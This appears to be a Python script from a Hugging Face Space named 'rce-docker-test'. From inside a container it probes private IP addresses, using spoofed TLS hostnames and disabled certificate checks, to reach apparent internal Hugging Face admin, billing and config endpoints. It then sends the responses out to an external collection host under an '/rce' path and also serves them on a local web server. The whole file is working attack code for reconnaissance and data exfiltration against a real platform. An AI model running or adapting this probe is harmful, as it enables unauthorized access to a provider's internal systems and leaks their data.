rce-docker-test / probe.py
xitro's picture
HTTPS internal API probe
e87f522 verified
Raw
History Blame Contribute Delete
2.66 kB
#!/usr/bin/env python3
import http.server, socket, json, ssl, urllib.request, urllib.parse
PROBE_URL = "https://xitro-env-probe.hf.space"
def https_get_with_host(host_ip, port, path, sni_hostname, timeout=8):
try:
sock = socket.create_connection((host_ip, port), timeout=timeout)
# SSL with custom SNI
ctx = ssl.create_default_context()
ctx.check_hostname = False # Don't check hostname
ctx.verify_mode = ssl.CERT_NONE # Don't verify cert
ssock = ctx.wrap_socket(sock, server_hostname=sni_hostname)
request = f"GET {path} HTTP/1.1\r\nHost: {sni_hostname}\r\nConnection: close\r\n\r\n"
ssock.send(request.encode())
response = b""
while True:
try:
chunk = ssock.recv(4096)
if not chunk:
break
response += chunk
if len(response) > 20000:
break
except:
break
ssock.close()
return response.decode('utf-8', errors='replace')
except Exception as e:
return f"ERROR: {e}"
info = {
"ip": None,
"internal_api": {}
}
try:
info["ip"] = socket.gethostbyname(socket.gethostname())
except:
pass
# Test api-internal.huggingface.co endpoints
endpoints = [
"/_internal/health",
"/api/config",
"/api/features",
"/api/billing",
"/api/enterprise",
"/api/inference-endpoints",
"/admin",
"/api/admin",
]
for path in endpoints:
# Try 10.0.249.215:443 with SNI api-internal.huggingface.co
resp = https_get_with_host("10.0.249.215", 443, path, "api-internal.huggingface.co")
info["internal_api"][path] = resp[:500]
print(f" {path}: {resp[:200]}")
# Also try huggingface.co via 10.0.249.254
for path in ["/_internal/health", "/api/config"]:
resp = https_get_with_host("10.0.249.254", 443, path, "huggingface.co")
info["internal_api"][f"via_249_254{path}"] = resp[:300]
print(f" via_10.0.249.254 {path}: {resp[:200]}")
import urllib.request
try:
urllib.request.urlopen(
f"{PROBE_URL}/rce?src=docker_api&data=" + urllib.parse.quote(json.dumps(info)[:400]),
timeout=5
)
except:
pass
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(info, indent=2).encode())
def log_message(self, *args): pass
server = http.server.HTTPServer(("0.0.0.0", 7860), Handler)
print("Server started")
server.serve_forever()